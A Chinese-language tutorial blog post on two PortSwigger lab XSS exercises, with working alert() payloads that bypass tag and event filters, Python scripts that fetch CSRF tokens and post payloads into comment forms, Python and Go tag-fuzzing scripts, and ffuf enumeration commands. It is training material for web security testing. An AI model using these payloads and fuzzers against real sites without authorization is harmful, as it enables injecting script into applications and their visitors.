文艺复兴,什么是XSS,常见形式(二)
前言本文将继续介绍XSS的常见形状依赖于portswigger提供的免费Lab环境将重点介绍关于使用脚本来进行表单XSS验证以及针对标签的模糊测试。Lab: Stored DOM XSS这是一个存储型的DOM类的XSS具体的是当你将内容提交到评论区前端的JS函数会将内容根据一定格式输出到HTML中而这时候JS会对这些内容进行一些过滤而如果你绕过这些过滤而前端的解析函数仍然有缺陷那么它将被每一个访客触发。限制可以在前端发现这样一个JS它的作用就是将评论区的内容输出到页面上而这其中就存在一个简单的小限制可以看到是一个简单的JS替换函数它会依次替换字符串中的 和 所以这个绕过非常简单由于replace仅仅只会替换字符串的第一个字符也就是只会替换目标的一个和一个最终我们只需要向目标提交 img scr1 οnerrοralert 就可以顺利触发这个XSS可以说是最基本的限制也是最简单绕过。如何通过脚本来测试这类XSS如果有十几个网页都需要用差不多的方式来验证是否存在XSS就不能手动一个一个来尝试我们可以通过脚本来验证XSS事实上验证XSS的方式非常简单往往会通过提交请求在响应字段中找到如果提交到恶意代码被原样解析了那么百分之90就可以验证目标存在XSS了如果是DOM型的可能会使用到无头浏览器来验证它可以模拟一个正常浏览器行为可以直接在日志里确定alert的输出除此之外我们还可以通过fetch的方式例如将一个恶意的fetch注入的目标这个fetch会向你控制的一个服务器请求信息那么只要这个fetch被响应你的服务器就会收到请求和记录这是一种异步验证的方式不过这种方式有很多的局限性不仅是目标访问外网的限制同样还有会在目标浏览器留下深深的印记如果服务器是你所属那么就会马上被拉入黑名单甚至被找上门开玩笑。当然我们此次重点说明如何来注入参数因为portswigger会自动判断目标是否被注入XSS了我们主要来讲如何批量化的去测试如果对于一些简单的注入测试像是一般的?searchXSS这样的话其实是非常容易的我们可以使用任何编程语言的网络库向目标的URL提交参数这很容易所以本文讲一个关于表单注入的法子。Anti-CSRF Token机制在现代的Web框架下为了防止CSRFCross-Site Request Forgery跨站请求伪造通常会采用这个机制来限制简单来说CSRF它是攻击者利用浏览器会自动携带目标网站 Cookie 的特性诱导受害者在不知情的情况下以受害者的身份向目标网站发送恶意请求比如发帖、改密码、甚至转账。那么为了防止出现这种的借刀杀人的情况在访问存在表单的页面时服务器会生成一个随机、唯一、不可预测对照cookie且通常有时间限制的字符串这就是 CSRF Token。并且这个Token会被偷偷放到HTML源码中通过一个被隐藏的input标签当用户提交表单时这个token会被一起提交服务器会检查这个表单如果符合预期那么才会放行所以当我们通过脚本来验证目标XSS时需要考虑讲csrf token一起提交给目标。测试脚本importurllibimportrequestsfrombs4importBeautifulSoup#测试这个带有简单替换的XSSdefverify_xss_replace(url,post_path):#获取Cookie并且保持它sessionrequests.Session()post_urlurlpost_path com_urlurl/post/comment#载荷probeimg src1 onerror\alert(1)\csrf_tokentry:#这是获取csrfToken的过程首先使用相同cookie正常访问目标带有表单#的页面在返回的HTML结构中找到一个name被标记为csrf的input标签并且提取它的value值#这一步往往需要你在前端去测试看看name的值是多少ressession.get(post_url,timeout10)csrf_soupBeautifulSoup(res.text,html.parser)#print(csrf_soup.prettify())csrf_tokencsrf_soup.find(input,{name:csrf})[value]except:print(Couldnt get csrf token)returnFalsepass#构建评论注入comment_data{csrf:csrf_token,postId:1,#评论内容是我们的载荷comment:probe,name:Xss,email:testga.com# website: probe,}try:#提交这个POST请求ressession.post(com_url,datacomment_data)except:print(Couldnt post comment)returnFalse#重新正常请求目标页面res2session.get(post_url,timeout10)print(res2.text)defverify_xss_href(url,post_path):sessionrequests.Session()post_urlurlpost_path com_urlurl/post/comment#一个瞎编的测试javasrcipt测试函数probejavascript:xss_probe_8848()try:ressession.get(post_url,timeout10)soupBeautifulSoup(res.text,html.parser)csrf_inputsoup.find(input,{name:csrf})csrf_tokencsrf_input[value]except:passprint(no csrf)returncomment_data{csrf:csrf_token,postId:3,comment:测试,name:Xss,email:testga.com,website:probe,}try:post_ressession.post(com_url,datacomment_data,timeout10)except:passtry:res2session.get(post_url,timeout10)soup2BeautifulSoup(res2.text,html.parser)vuln_linksoup2.find_all(a,hrefprobe)ifvuln_link:forlinkinvuln_link:print(link)print(XSS)else:print(no XSS)except:passif__name____main__:urlhttps://XSSID.web-security-academy.net/parampost?postId1verify_xss_replace(url,param)其实这仅仅只是一个注入脚本你可以发现上面有两个测试函数其中还有一个href的注入函数如果注入目标是href那么我们可以通过解析HTML的方式来验证目标但是如果是这样的alert(1)如果真想准确验证往往会使用无头浏览器来实现此处我先不管他的具体验证当你顺利注入时portswigger会提醒你你已经完成了这个Lab。Lab: Reflected XSS with some SVG markup allowed这是一个反射型的XSS具体的是Lab环境中的search参数存在XSS缺陷它已经通过手段屏蔽了大部分的HTML标签和对应的事件但是却没有完整的屏蔽也就是说会有遗漏那么我们如何去测试这些有遗漏的标签呢有几种办法首当其冲的就是Burp它提供专用的“入侵面板”也就是Intruder可以在上面进行模糊测试来枚举得到哪些标签没有被屏蔽。模糊测试模糊测试的意思就是猜、枚举对方的值具体的是当我们提交普通的被屏蔽的标签时往往会触发400的返回值当然这些情况是各不相同的如果在本Lab中输入一个 img 标签你会得到一个:返回值为400的JSON而且还会提示你这个标签不被允许而如果这个标签是被允许也就是遗漏的屏蔽字段那么服务器会正常处理它也就是返回200系列的返回值。使用Burp的模糊测试首先拦截一个搜索任何字符串流量并且右击URL发送到Intruder面板上去大概是这样的这是Intruder面板我们主要的找到要模糊测试的位置也就是search的参数值我们把数值调整为一个 Test 的形状并且选中Test同时点击上方的Add标签它会在在此处标记一个测试位置被特殊字符包含的位置在后续攻击时会被替换为你你指定的字典中的值在这里也就是HTML标签当你成功添加标签后你会发现右侧面板变成了一个字典编辑器我们可以在portswigger网站找到HTML完整的标签列表我们去把它复制过来在面板上点击Paste复制到字典面板上随后点击整个面板上方的Start Attack开始模糊测试Burp会将字典中的每一个值都替换上去测试一下通常会返回请求的返回值和length社区版的Burp会对这个过程限速往往是每秒请求一个URL当然这个速度在这种场景足够速度太快目标Lab会不响应并且屏蔽掉你的IP在整个测试过程中不同于其他值往往就是我们要找的可以看到标签 image、 svg、 animatetransform三个标签都被遗漏了回到主题既然它可以被允许提交这三个标签那么我们就要构建一个完整的标签来触发alert达成我们的目的简单测试一下上述的任意标签 image scr1 οnerrοralert(1)你就会发现这个Lab也会屏蔽常见的事件所以我们需要再次进行模糊测试测试哪些事件是被允许的对于上述三个标签我们可以任意挑一个进行测试查看哪些事件被允许因为屏蔽手段往往是DOM解析或者字符串直接屏蔽也就是如果这个事件对这个标签没有任何作用也是可以作为测试项的也就是只要我们得到了哪些事件被允许我就可以拼装它们最终实现绕过。最后我们可以得到onbegin这个事件被允许它是一个svg图片的事件是指svg的动作开始于什么时候经过尝试最后可以发现 svg animatetransform onbeginalert(1)没有被屏蔽也就可以实现绕过。编写脚本来实现模糊测试大家可以发现其实所谓模糊测试很多情况下是很简单的就是替换字符串请求目标根据目标的返回值判断这个参数是否可用我们完全可以使用Python、Go来完成这个过程还不限速还能把玩一波让我们来试试Pythonimportrequestsimporturllib.parsefromconcurrent.futuresimportThreadPoolExecutor,as_completed URLhttps://XSSID.h1-web-security-academy.net/Payload[script,svg,img,animatetransform,iframe,body,image]Max_Threads10defcheck_payload(tag): 发送请求到目标并且判断响应码 :param tag: :return: tag,bool raw_payloadf{tag}encoded_payloadurllib.parse.quote(raw_payload)urlf{URL}?search{encoded_payload}try:responserequests.get(url,timeout5)ifresponse.status_code200:returntag,Trueelse:returntag,Falseexceptrequests.RequestExceptionase:returntag,ferror:{e}defmain():valid_tags[]withThreadPoolExecutor(max_workersMax_Threads)asexecutor:future_to_tag{executor.submit(check_payload,tag):tagfortaginPayload}forfutureinas_completed(future_to_tag):tagfuture_to_tag[future]try:return_teg,is_validfuture.result()ifis_validisTrue:print(ffound tag for{return_teg})valid_tags.append(return_teg)elifis_validisFalse:passelse:print(finvalid tag for{return_teg})exceptExceptionase:print(fError for{e})if__name____main__:main()上述实现了一个非常直观进行了简单的并发请求过程首先实现一个验证函数它根据提供的标签构建了一个具体的URL也就是URLsearch Tag 并且请求它根据这个请求的返回值决定这个函数返回True or False之后我们只用一个最大并发为10的上下文管理器并且将验证函数提交给线程池再去读取已经完成请求的也就是验证函数已经完成返回的值如果是200那么就证明这个请求是完整的顺利的也就是这个标签是被允许的而如果是400或者其他我们就直接pass掉当然这个过程不是一定的在实际验证中我们往往不会知道顺利访问后的标签是200还是201还是302等等所以我们需要记录它们的返回值和length到时候一对比独特的那个大概率就是我们要找的标签。GopackageXSSimport(fmtnet/httpnet/urlsynctime)const(URLhttps://0a65004504a7954781c6484c00bc0049.h1-web-security-academy.net/MaxWork10)typeResultstruct{TagstringIsValidboolErrorerror}funcworker(idint,jobs-chanstring,resultschan-Result,wg*sync.WaitGroup){deferwg.Done()client:http.Client{Timeout:time.Second*5,}fortag:rangejobs{rawPayload:fmt.Sprintf(%s,tag)encodePayload:url.QueryEscape(rawPayload)reqUrl:fmt.Sprintf(%s?search%s,URL,encodePayload)resp,err:client.Get(reqUrl)iferr!nil{results-Result{Tag:tag,IsValid:false,Error:err}}isValid:falseifresp.StatusCode200{isValidtrue}resp.Body.Close()results-Result{Tag:tag,IsValid:isValid,Error:err}}}funcDo(){payloads:[]string{script,svg,img,animatetransform,iframe,image}jobs:make(chanstring,len(payloads))results:make(chanResult,len(payloads))varwg sync.WaitGroupforw:1;wMaxWork;w{wg.Add(1)goworker(w,jobs,results,wg)}for_,tag:rangepayloads{jobs-tag}close(jobs)gofunc(){wg.Wait()close(results)}()forres:rangeresults{ifres.Error!nil{}elseifres.IsValid{fmt.Println(Found Tag for res.Tag)}}}Go天生并发使用经典的生产消费者模型通过开启子线程随后经过管道将标签提交给子线程随后再次使用管道来获取子线程的返回的Result上面就记录了该请求的返回值等总体过程也是如果此子线程负责将传入的标签构建为具体的URL随后就直接进行请求并且将返回值放到通往主线程管道的Results中我们可以通过循环读取Results中的值就可以顺利把所有完成的请求都检查一遍Go在并发上及其有优势当数据量达到一定程度Go的效率和性能都会碾压Python当然Go的缺陷是编写效率不高像这样的只有几百次的触发二者不会展示太大的差距。ps测试时这里的数据多敲了一个svg不是线程的问题使用ffuf进行模糊测试ffuf全称 Fuzz Faster U Fool是当前Web安全方面最炙手可热的开源模糊测试工具它非常快非常强大拥有相当不错的过滤机制ffuf 的工作哲学非常简单粗暴但极其有效占位符替换。它不预设你是在扫目录、扫域名还是测漏洞。你只需要提供一个 HTTP 请求URL、Header 或 POST Body 均可在你想测试的地方放上一个关键字默认是 FUZZ然后交给 ffuf 一个字典文件Wordlist。ffuf 会以极高的并发速度用字典里的每一行词去替换 FUZZ 这个词发送请求并根据你设定的规则筛选出有价值的响应。也就是说你可以拿它来进行目录与文件枚举# 寻找网站下的隐藏目录ffuf-wcommon-dirs.txt-uhttps://target.com/FUZZ子域名枚举# 寻找 target.com 的子域名ffuf-wsubdomains.txt-uhttps://FUZZ.target.com/虚拟主机发现# 保持 URL 为目标 IP不断替换 Host 头ffuf-wvhosts.txt-uhttp://192.168.1.100-HHost: FUZZ.target.com参数名与参数数值注入# 寻找隐藏的 GET 参数名ffuf-wparameters.txt-uhttps://target.com/api/user?FUZZtest在一个就是ffuf有一个强大的匹配和过滤机制分别对应m和f标签具体的是匹配你想要的 (Match):mc 200,302只显示 HTTP 状态码为 200 或 302 的响应 (Match Code)。ms 1500只显示响应包大小精确为 1500 字节的响应 (Match Size)。mr “admin”只显示响应体中包含 “admin” 字符串的响应 (Match Regexp)。过滤你不要的 (Filter):fc 404,403隐藏状态码为 404 或 403 的响应 (Filter Code)。fs 0,42隐藏响应包大小为 0 或 42 字节的响应极度常用很多网站的 404 页面状态码是 200但大小是固定的用 -fs 可以完美过滤这种“假 200”。fl 10隐藏响应体行数为 10 行的响应 (Filter Lines)。当然除此之外呢你可以进行 -c 开启色彩输出 -t 50 设置并发数为50-p 0.1 请求暂停间隙 -x 流量代理 -o输出为文件。经过之前的Burp和脚本来看ffuf测试上述Lab就显得非常简单这里就不去测试了值得一提的别直接大规模并发去测试Lab它真的会直接封掉你的IP。总结本文通过两个经典的XSS注入分析了各个工具的使用无论是手动测试或者使用Burp以及写脚本等等其实本质都差不多在实际的生产测试环境中XSS的验证往往还会有更多的细节所以对于很多场景下我们需要试探性的多尝试有时候一个%20就会影响最终的解析所以大家加油。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2453269.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!